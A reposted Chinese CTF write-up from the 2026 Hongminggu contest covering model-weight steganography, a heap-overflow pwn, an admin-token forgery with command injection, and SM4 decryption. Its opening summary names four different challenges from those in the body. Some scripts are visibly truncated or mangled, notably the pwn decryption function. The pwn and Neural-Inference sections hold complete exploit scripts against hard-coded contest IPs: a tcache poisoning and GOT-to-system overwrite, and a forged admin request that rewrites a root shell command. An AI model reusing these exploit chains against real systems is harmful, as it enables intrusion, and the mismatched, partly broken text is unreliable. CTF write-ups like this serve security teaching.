文章总结: 本文是OnePanda-Sec战队对2026数字中国创新大赛数字安全赛道暨第六届红明谷杯CTF比赛的完整WriteUp,涵盖四道题目。Web-gopherblog通过未授权SQL注入获取JWT密钥并伪造管理员身份,再利用Go模板注入中Mailer.Ping的shell命令注入读取flag。Web-Active发现/backup泄露back.jar,从中找到隐藏XML解析接口,通过blindXXE外带DTD读取/flag。Crypto-LCG-LHNP结合LCG参数恢复与格上CVP攻击(HNP)还原明文。Misc-Coordinates从PyTorch权重文件中统计异常浮点常量,按位置编码为304位比特流还原flag。整体展示了从信息泄露到注入利用到密码学格攻击等多维度CTF解题思路。 综合评分: 78 文章分类: CTF,WEB安全,漏洞分析,密码学,逆向分析
Model-Entropy
题目分析
压缩包解压后包含 3 个文件:
- 123.txt
- sentiment_analysis.ipynb
- sentiment_model.npz – 其中 123.txt 为空,核心内容显然在 notebook 和模型权重文件里。 – notebook 中给出的描述是一个“情感分析模型”,结构如下: – Input(18) -> Dense(20, ReLU) -> Dense(2, Softmax) – 对应参数为:
- embedding_layer,形状 (18, 20)
- hidden_bias,形状 (20,)
- output_layer,形状 (20, 2)
- output_bias,形状 (2,) – 题目提示中提到“Embedding 层参数规模显著异常缩减”,这里其实已经在暗示:这个所谓的 embedding_layer 并不像正常语义模型中的 embedding,更像一个被 – 拿来做隐写的矩阵载体。
第一步:验证模型是否真实可用
notebook 中声称该模型在数据集上有较高准确率,但实际复现 forward 后,得到的准确率只有:
0.49125
这基本就是随机猜测水平,说明:
- 这不是一个真正训练好的情感分析模型
- notebook 中的性能描述是烟雾弹
- 重点应该放到权重文件本身,而不是分类逻辑
第二步:检查参数来源
继续分析 sentiment_model.npz 后发现,整个模型参数都能被一个固定随机种子直接重建:
`import numpy as np
rng = np.random.default_rng(42)
embeddinglayer = (rng.standardnormal(18 * 20) * 0.1).astype(np.float32).reshape(18, 20) hiddenbias = (rng.standardnormal(20) * 0.01).astype(np.float32) outputlayer = (rng.standardnormal(20 * 2) * 0.1).astype(np.float32).reshape(20, 2) outputbias = (rng.standardnormal(2) * 0.01).astype(np.float32)`
这说明所谓“模型权重”本质上只是伪随机数,并非训练结果。
第三步:定位被修改的部分
把题目中的参数与 seed=42 生成的参考参数逐位比较,结果发现:
- hidden_bias 完全一致
- output_layer 完全一致
- output_bias 完全一致
- 只有 embedding_layer 被修改过 – 进一步比较 float32 的底层位模式: – A.view(np.uint32) ^ ref.view(np.uint32) – 发现所有差异都满足: – xor = 0x1 – 也就是说,修改只发生在 float32 的最低有效位 LSB 上。 – 这就是典型的权重隐写:
- 载体:embedding_layer
- 存储方式:float32 最低有效位
- 读取方式:按固定顺序提取 bit 流
第四步:提取隐藏数据
将 embedding_layer 强制视为 uint32,提取每个数的最低位:
`bits = (embedding.view(np.uint32) & 1).astype(np.uint8)
#然后按行优先展开,并每 8 位按 little-endian 打包成字节:
cipher = bytes( sum(int(bitsflat[i + j]) << j for j in range(8)) for i in range(0, len(bitsflat) – 7, 8) )`
得到一段非随机但也不是明文的字节流:
b'!$.4/~*-fa\x7fqv~7&q{~uyx~mtq|~a!\x7f)fav\x7f{7b”5’`
说明 LSB 中确实藏了数据,但后面还有一层简单加密。
第五步:恢复密钥并解密
CTF 中很常见的做法是再做一层循环异或。由于 flag 通常以 flag{ 开头,可以直接用已知明文去反推密钥。
假设密文开头对应明文 flag{:
cipher[:5] ^ b'flag{' = b'GHOST'
因此循环异或密钥为:
GHOST
再用该密钥解密整个字节流:
plain = bytes(c ^ key[i % len(key)] for i, c in enumerate(cipher))
输出为:
flag{9bb55899-ca94-4217-9393-5f7f55174d6e}
完整利用脚本
`import numpy as np
data = np.load(‘sentimentmodel.npz’) embedding = data[’embeddinglayer’].astype(np.float32) bits = (embedding.view(np.uint32) & 1).astype(np.uint8).ravel(order=’C’) cipher = bytes( sum(int(bits[i + j]) << j for j inrange(8)) for i inrange(0, len(bits) – 7, 8) ).rstrip(b’\x00′) key = b’GHOST’ plain = bytes(c ^ key[i % len(key)] for i, c inenumerate(cipher)) print(plain.decode())`
Flag
flag{9bb55899-ca94-4217-9393-5f7f55174d6e}
Lost-Signal import zipfile import gensim.downloader as api # 加载词向量模型 model = api.load('glove-twitter-25') # 词类比任务 queries = [ ('man', 'king', 'queen'), ('paris', 'france', 'italy'), ('bad', 'worst', 'best'), ('small', 'tiny', 'massive'), ('cat', 'kitten', 'puppy'), ('winter', 'cold', 'hot'), ] # 生成密码 password = '' for a, b, c in queries: word = model.most_similar(positive=[a, c], negative=[b], topn=1)[0][0] password += word print('password =', password) # 直接解压同目录的 archive.zip with zipfile.ZipFile('archive.zip') as inner: # 读取第一个文件,用生成的密码解密 data = inner.read(inner.namelist()[0], pwd=password.encode()) print('\n解密内容:') print(data.decode())
- archive.zip 密码:sobrazilcooldealdogfashion
- flag{ae97fb341dc2e779b230f141fb7e04ee}
Pwn
odd-chat
题目思路
这题本质上是一个堆题,核心漏洞在聊天功能对“消息长度”的处理。程序先读一个整数长度,再做“取绝对值再 % 24”,然后按这个长度读入消息到malloc(0x20) 的堆块里。正常情况下最多只能写 24 字节,但如果输入 -2147483648,也就是 INT_MIN,它的“取绝对值”会发生 32 位有符号溢出,结果仍然是负数。后面的读入函数又用无符号比较判断循环条件,于是这个负数会被当成一个巨大的正数,最终形成几乎无限长的堆溢出。
程序还会把消息内容按 8 字节一组做一个可逆的 TEA 风格加密,所以如果想让堆上的最终内容变成我们想要的字节,不能直接发目标内容,而要先算出它的“解密前像”。这就是脚本里 dec_block() 的作用。
程序关键点
逆向后可以整理成下面这些全局对象和逻辑:
head = *(QWORD *)0x6020d8; // 聊天链表头
count = *(QWORD *)0x6020e8; // 聊天计数
name_ptr = *(QWORD *)0x6020f0; // 用户名指针,初始指向 0x602100
atoi@got = 0x602060;
每次 Chat 时会:
- malloc(0x20) 申请一个块。
- chunk->next = old_head,再把它挂到链表头。
- 读取消息长度。
- 按长度读消息到这个堆块。
- 原地加密。
- 用 printf(“[#%d] User: %s\n”, …, name_ptr) 和 printf(“> %s\n”, chunk) 回显。 1. 也就是说:
- 块大小是 0x20,实际 chunk size 是 0x30。
- 用户名打印走的是 name_ptr。
- 只要能改 name_ptr,就能让 %s 去读任意地址。
- 只要能改 name_ptr,选项 2 的 fgets(name_ptr, 0x30, stdin) 就能向任意地址写最多 0x30 字节。 – 漏洞点 – 聊天长度的逻辑等价于:
Plain int n = atoi(buf); n = abs(n) % 24; read_msg(chunk, n);但 abs(INT_MIN) 在 32 位里还是 INT_MIN,也就是 0xfffffff8。之后读入函数大概是:Plain int i = 0; while ((unsigned)i < (unsigned)n) { c = getchar(); if (c == '\n') { buf[i] = 0; return i; } buf[i++] = c; }这时 n 是 0xfffffff8,循环几乎不会因为长度结束,只会因为我们主动发换行才停,所以就是可控长度堆溢出。 利用过程
- 先申请两个 0x20 的聊天块。
- 选择 Clear chat,把这两个块都 free 到 tcache 里。
- 再申请一个块,并用 INT_MIN 长度触发溢出,从第一个块溢出到第二个已释放块的 tcache fd 指针。
- 因为两个用户块相隔 0x30,所以只要写 0x38 字节,最后 8 字节正好落在第二个已释放块的 fd 上。
- 把这个 fd 改成 0x6020e0,这样下一次 malloc(0x20) 就会返回这个 .bss 地址。
- 再分配一次,把正常的第二个 tcache 块取出来。
- 第三次分配时,malloc(0x20) 就会返回 0x6020e0。
- 这次聊天的数据写到 0x6020e0 开始的位置,我们构造: 1. 0x6020e0: 0x0000000000000000 2. 0x6020e8: 0x0000000000000001 3. 0x6020f0: 0x0000000000602060 // name_ptr = atoi@got
- 聊天结束时程序会立刻执行 printf(…, name_ptr),这时 name_ptr 已经指向 atoi@got,于是直接泄漏 atoi 的实际地址。
- 用提供的 libc.so.6 算出:
- libc_base = atoi – 0x40670
- system = libc_base + 0x4f420
- 选择 Change name,程序会执行 fgets(name_ptr, 0x30, stdin)。由于 name_ptr = atoi@got,所以这一步实际上把 system 地址写进了 atoi@got。
- 主菜单下一次读选项时,本来会调用 atoi,现在等价于调用 system。于是直接输入 cat /flag*,拿到 flag。 1. 为什么要自己写“解密函数” 2. 程序会在读入消息后,把消息按 8 字节块做原地加密。我们想让堆上的最终内容变成:
- tcache poison 的目标指针
- fake chunk 里的伪造字段 – 所以发给程序的不能是“目标字节”,而必须是“加密前的原像”。脚本里的 dec_block() 就是把“想要落到堆上的 8 字节”反推成“应该发送的 8 字节”。
解题脚本
`#!/usr/bin/env python3 import socket import struct import sys import time
HOST = “60.205.218.124” PORT = 22559
DELTA = 0x9E3879B9 KEY = 0x114514 ROUNDS = 17
TCACHETARGET = 0x6020E0 ATOIGOT = 0x602060
ATOIOFF = 0x40670 SYSTEMOFF = 0x4F420
defdecblock(block):
v0, v1 = struct.unpack(“
defrecvuntil(sock, marker, timeout=5): sock.settimeout(timeout) data = b”” while marker notin data: chunk = sock.recv(4096) ifnot chunk: break data += chunk return data
defrecvall_brief(sock, timeout=1): sock.settimeout(timeout) data = b”” try: whileTrue: chunk = sock.recv(4096) ifnot chunk: break data += chunk except Exception: pass return data
defsendline(sock, data): sock.sendall(data + b”\n”)
defdochat(sock, sizeline, message): sendline(sock, b”1″) output = recvuntil(sock, b”How many characters do you want to send: “) sock.sendall(size_line + b”\n”) output += recvuntil(sock, b”> “) sock.sendall(message + b”\n”) output += recvuntil(sock, b”>> “, timeout=8) return output
defbuildpoisonpayload(): return decblock(b”\x00″ * 8) * 6 + decblock(struct.pack(“<Q”, TCACHE_TARGET))
defbuildfakechunkpayload():
return (
decblock(b”\x00″ * 8)
+ decblock(struct.pack(“block(struct.pack(“<Q”, ATOI_GOT))
)
defexploit(command): poison = buildpoisonpayload() fake = buildfakechunk_payload()
sock = socket.create_connection((HOST, PORT), timeout=5)
recvuntil(sock, b”Please enter your name: “) sendline(sock, b”aaaa”) recvuntil(sock, b”>> “)
dochat(sock, b”2″, b”A”) dochat(sock, b”2″, b”B”)
sendline(sock, b”4″) recvuntil(sock, b”>> “)
dochat(sock, b”-2147483648″, poison) dochat(sock, b”0″, b””) leakoutput = dochat(sock, b”-2147483648″, fake)
marker = b”[#1] User: ” pos = leak_output.find(marker) if pos == -1: raise RuntimeError(“failed to locate libc leak”)
leakline = leakoutput[pos + len(marker) :].split(b”\n”, 1)[0] atoiaddr = int.frombytes(leakline[:6].ljust(8, b”\x00″), “little”) libcbase = atoiaddr – ATOIOFF systemaddr = libcbase + SYSTEMOFF systembytes = struct.pack(“<Q”, systemaddr) ifb”\n”in systembytes: raise RuntimeError(“system address contains newline byte”)
sendline(sock, b”2″) recvuntil(sock, b”Please enter your name: “) sock.sendall(system_bytes + b”\n”) recvuntil(sock, b”>> “)
sock.sendall(command + b”\n”) time.sleep(0.5) command = b”cat /flag*” iflen(sys.argv) > 1: command = sys.argv[1].encode() iflen(command) > 15: raise SystemExit(“command is too long for the 0x10-byte menu buffer”)
atoiaddr, libcbase, systemaddr, output = exploit(command) print(“atoi:”, hex(atoiaddr)) print(“libc:”, hex(libcbase)) print(“system:”, hex(systemaddr)) sys.stdout.buffer.write(output)
if name == “main“: main()`
Neural-Inference
题目信息
- 远程地址:
nc 8.147.132.32 13663 - 实际暴露服务:HTTP Flask 前端
- 后端:root 权限运行的
engine - 最终 flag:flag{a7ee13ca-7720-4c79-9ac1-f94171b71313}
总体思路
这题的利用链是:
-
前端暴露
/api/raw,可以直接向后端发送原始协议命令。 -
/api/status会泄露
pid和uptime。 -
后端 admin token 的 secret 只依赖
pid和start_time。 -
start_time = server_time - uptime,而服务端当前时间可从 HTTP
Date头恢复。 -
因此可以本地重建 admin secret,伪造合法 admin 请求。
-
admin 的 diagnostics 分支会先执行自定义虚拟机 VNM,再对全局字符串调用
system()。 -
VNM 可以改写
system()使用的命令字符串。 -
把命令改成
cat /home/ctf/flag >/opt/neuralchat/downloads/<文件名>,最后通过下载接口取回 flag。 1. 一句话总结: 2.信息泄露 -> 重建 admin 认证 -> VNM 改写 system 命令 -> root 读 flag
详细分析
-
/api/raw允许直接访问后端协议
前端 Flask 应用暴露了 /api/raw:
- 它接收 base64 编码的原始数据
- 第 1 个字节作为 command
- 剩余部分作为 payload
- 直接转发给后端
engine– 这意味着 Web 层没有真正阻止我们访问后端管理命令。
- admin token 可以被远程重建
逆向后端发现 admin 认证逻辑本质上是:
sha256(
ts ||
subcmd ||
payload ||
secret
)
其中 secret 来自:
derive_admin_key(pid, start_time)
而这两个值都不是秘密:
-
pid:
/api/status直接返回 -
start_time:由服务端当前时间减去
uptime得到 – 远程请求/api/status的响应示例:{ “model_loaded”:1, “pid”:8, “sessions”:0, “status”:”running”, “uptime”:136, “version”:”2.1.0″ }
因此 admin token 可以完全在本地计算。
- diagnostics 分支存在危险执行链
handle_admin 的 subcmd = 5 会进入 diagnostics 分支
- 先调用
execute_vnm(payload, len) - 如果 VNM 成功返回
- 再调用:system(g_pwn + 0x10)
默认命令是:
/opt/neuralchat/plugins/diag.sh
所以如果能改掉 g_pwn + 0x10 处的字符串,就能让后端以 root 权限执行任意 shell 命令。
- VNM 可以按 4 字节改写命令字符串
VNM 里和利用相关的两个操作已经足够:
0x02 reg imm32
作用:把 4 字节立即数加载到寄存器
0x07 off reg
作用:把寄存器中的 4 字节内容写到 g_pwn + 0x90 + sign(off)
目标字符串在:
g_pwn + 0x10
所以只要令:
sign(off) = -0x80 + i
那么写入地址就是:
g_pwn + 0x90 - 0x80 + i = g_pwn + 0x10 + i
这样就可以每次覆盖 4 个字节,把整条 shell 命令写进去。
利用过程
第一步:确认远程服务类型
虽然题目给的是 nc 8.147.132.32 13663,但直接发送 HTTP 请求后发现是 Flask 应用,而不是裸 socket 服务。
访问:
GET /api/status HTTP/1.1
Host: 8.147.132.32
会得到 JSON 状态信息,并附带标准 HTTP Date 响应头。
第二步:恢复 admin secret
已知:
-
pid来自
/api/status -
uptime来自
/api/status -
server_time来自 HTTP
Date– 因此:start_time = server_time – uptime
再复现二进制中的 derive_admin_key(pid, start_time),就能得到 admin secret。
第三步:确认 diagnostics 子命令编号
逆向 jump table 后,确认:
subcmd = 5
对应 diagnostics。
为了验证认证是否正确,先发送一个最简单的 VNM 程序:
0xff
即直接 halt。
返回:
Diagnostic complete
说明:
- token 计算正确
- admin 权限已拿到
- diagnostics 路径可用
第四步:构造恶意 VNM 改写命令
目标命令:
cat /home/ctf/flag>/opt/neuralchat/downloads/flag_xxxxxx
之所以输出到下载目录,是因为
-
flag 本身不可直接读
-
但 diagnostics 以 root 执行
-
/api/download可以直接下载下载目录下的文件 – VNM 程序按 4 字节分块生成:
0x02 0x00 <4字节数据>0x07 <目标偏移> 0x00
最后补一个:
0xff
第五步:执行并取回 flag
admin diagnostics 执行后,远端 root 进程运行:
cat /home/ctf/flag>/opt/neuralchat/downloads/flag_xxxxxx
然后访问:/api/download?file=flag_xxxxxx
即可取回 flag。
完整利用脚本
`#!/usr/bin/env python3 import base64 import email.utils import hashlib import json import random import string import struct import time import urllib.request
HOST = “http://8.147.132.32:13663” SBOX = bytes.fromhex( “637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0” “b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b275” “09832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cf” “d0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2” “cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdb” “e0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08” “ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9e” “e1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16” )
defgetstatus(): req = urllib.request.Request(f”{HOST}/api/status”) with urllib.request.urlopen(req, timeout=10) as resp: body = resp.read() headerdate = resp.headers[“Date”] status = json.loads(body)
parts = headerdate.split(“, “) iflen(parts) > 2: headerdate = “, “.join(parts[-2:])
serverts = int(email.utils.parsedatetodatetime(headerdate).timestamp()) return status, server_ts
defderiveadminsecret(pid, starttime): x = ((pid * 0x045D9F3B) ^ ((starttime & 0xFFFFFFFF) * 0x119DE1F3)) & 0xFFFFFFFF out = bytearray()
for i inrange(16): x ^= (x << 13) & 0xFFFFFFFF x ^= x >> 7 x ^= (x << 17) & 0xFFFFFFFF out.append(SBOX[x & 0xFF]) x = (x + (((i + 1) * 0x9E3779B9) & 0xFFFFFFFF)) & 0xFFFFFFFF
returnbytes(out)
defapi_raw(raw): data = json.dumps({“data”: base64.b64encode(raw).decode()}).encode() req = urllib.request.Request( f”{HOST}/api/raw”, data=data, headers={“Content-Type”: “application/json”}, ) with urllib.request.urlopen(req, timeout=10) as resp: body = json.loads(resp.read()) return base64.b64decode(body[“data”])
defadmin(subcmd, payload): status, serverts = getstatus() pid = int(status[“pid”]) starttime = serverts – int(status[“uptime”]) secret = deriveadminsecret(pid, start_time)
digest = hashlib.sha256() digest.update(struct.pack(“<I”, server_ts)) digest.update(bytes([subcmd])) if payload: digest.update(payload) digest.update(secret) token = digest.digest()
raw = bytes([0xFF]) + struct.pack(“<I”, serverts) + bytes([subcmd]) + token + payload resp = apiraw(raw) return resp[0], resp[1:]
defbuildvnmwrite_command(command): program = bytearray() data = command.encode() + b”\x00″
for i inrange(0, len(data), 4): chunk = data[i : i + 4].ljust(4, b”\x00″) program += bytes([2, 0]) + chunk offset = (-128 + i) & 0xFF program += bytes([7, offset, 0])
program += b”\xFF” returnbytes(program)
defmain(): outname = “flag” + “”.join(random.choice(string.asciilowercase) for inrange(6)) shell = f”cat /home/ctf/flag>/opt/neuralchat/downloads/{outname}” vnm = buildvnmwritecommand(shell)
status, data = admin(5, vnm) print(f”diagnostic status={status} message={data.decode(errors=’replace’)}”)
url = f”{HOST}/api/download?file={outname}” for inrange(10): try: with urllib.request.urlopen(url, timeout=10) as resp: print(resp.read().decode(errors=”replace”)) return except Exception: time.sleep(0.5)
raise SystemExit(“failed to fetch exported flag”)
if name == “main“: main()`
Re
ezSM4
逆向伪代码里直接给出了:
-
SM4 密钥
:
12345678abcdefgh(16 字节) -
密文
:两个 64 位常量拼接成 16 字节
0x30E9089635465E4A0x4D59A622A0CA28DA
转小端 hex 得到:4a5e46359608e930da28caa022a6594d
算法特点
- 标准 SM4 分组密码(128 位分组 / 128 位密钥)
- 使用 小端序(little-endian) 解析
- 单分组加密,无填充、无链式模式(ECB)
解题步骤
- 用密钥
12345678abcdefgh - 对 16 字节密文做 SM4 解密
- 解密结果就是 16 字节明文
- 按题目格式拼接:
flag{明文}/usr/bin/env python3
#!/usr/bin/env python3# -*- coding: utf-8 -*-import struct# ===================== SM4 常量定义 =====================# SM4 S盒SM4_SBOX = [ 0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05, 0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99, 0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62, 0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6, 0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8, 0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35, 0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87, 0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e, 0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1, 0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3, 0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f, 0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51, 0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8, 0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0, 0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84, 0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48]# 密钥扩展参数FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]CK = [ 0x00070e15,0x1c232a31,0x383f464d,0x545b6269, 0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9, 0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249, 0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9, 0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229, 0x30373e45,0x4c535a61,0x686f767d,0x848b9299, 0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209, 0x10171e25,0x2c333a41,0x484f565d,0x646b7279]# ===================== SM4 工具函数 =====================def rotate_left_32(x: int, n: int) -> int: """32 位循环左移""" x &= 0xFFFFFFFF return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))def sbox_transform(a: int) -> int: """S盒替换(4 字节并行)""" return ( (SM4_SBOX[(a >> 24) & 0xFF] << 24) | (SM4_SBOX[(a >> 16) & 0xFF] << 16) | (SM4_SBOX[(a >> 8) & 0xFF] << 8) | SM4_SBOX[a & 0xFF] )def linear_transform_key(b: int) -> int: """密钥扩展线性变换 L'""" return b ^ rotate_left_32(b, 13) ^ rotate_left_32(b, 23)def linear_transform_enc(b: int) -> int: """加解密线性变换 L""" return b ^ rotate_left_32(b, 2) ^ rotate_left_32(b, 10) ^ rotate_left_32(b, 18) ^ rotate_left_32(b, 24)# ===================== SM4 核心算法 =====================def key_expansion(mk_words: list[int]) -> list[int]: """密钥扩展,生成 32 轮轮密钥""" K = [mk_words[i] ^ FK[i] for i in range(4)] round_keys = [] for i in range(32): t = K[(i+1)%4] ^ K[(i+2)%4] ^ K[(i+3)%4] ^ CK[i] K[i%4] ^= linear_transform_key(sbox_transform(t)) round_keys.append(K[i%4]) return round_keysdef sm4_encrypt_block(plain_16: bytes, key_16: bytes) -> bytes: """SM4 单分组加密(小端序)""" X = list(struct.unpack("<4I", plain_16)) MK = list(struct.unpack("<4I", key_16)) rk = key_expansion(MK) for i in range(32): t = X[(i+1)%4] ^ X[(i+2)%4] ^ X[(i+3)%4] ^ rk[i] X[i%4] ^= linear_transform_enc(sbox_transform(t)) return struct.pack("<4I", X[3], X[2], X[1], X[0])def sm4_decrypt_block(cipher_16: bytes, key_16: bytes) -> bytes: """SM4 单分组解密(小端序)""" X = list(struct.unpack("<4I", cipher_16)) MK = list(struct.unpack("<4I", key_16)) rk = key_expansion(MK) for i in range(32): t = X[(i+1)%4] ^ X[(i+2)%4] ^ X[(i+3)%4] ^ rk[31 - i] X[i%4] ^= linear_transform_enc(sbox_transform(t)) return struct.pack("<4I", X[3], X[2], X[1], X[0])# ===================== 解密 Flag =====================if __name__ == "__main__": # 从逆向题目中得到的密钥和密文 KEY = b"12345678abcdefgh" CIPHER_HEX = "4a5e46359608e930da28caa022a6594d" CIPHER = bytes.fromhex(CIPHER_HEX) # 解密 plain_bytes = sm4_decrypt_block(CIPHER, KEY) plain_str = plain_bytes.decode() # 输出结果 print(f"[+] 密钥 : {KEY.decode()}") print(f"[+] 密文 : {CIPHER_HEX}") print(f"[+] 明文 : {plain_bytes}") print(f"[+] 明文字符串: {plain_str}") print(f"[+] 最终 Flag: flag{{{plain_str}}}")
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:OnePanda-Sec OnePanda-Sec OnePanda-Sec《2026数字中国创新⼤赛数字安全赛道暨三明市第六届“红明谷”杯⼤赛-WriteUp》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论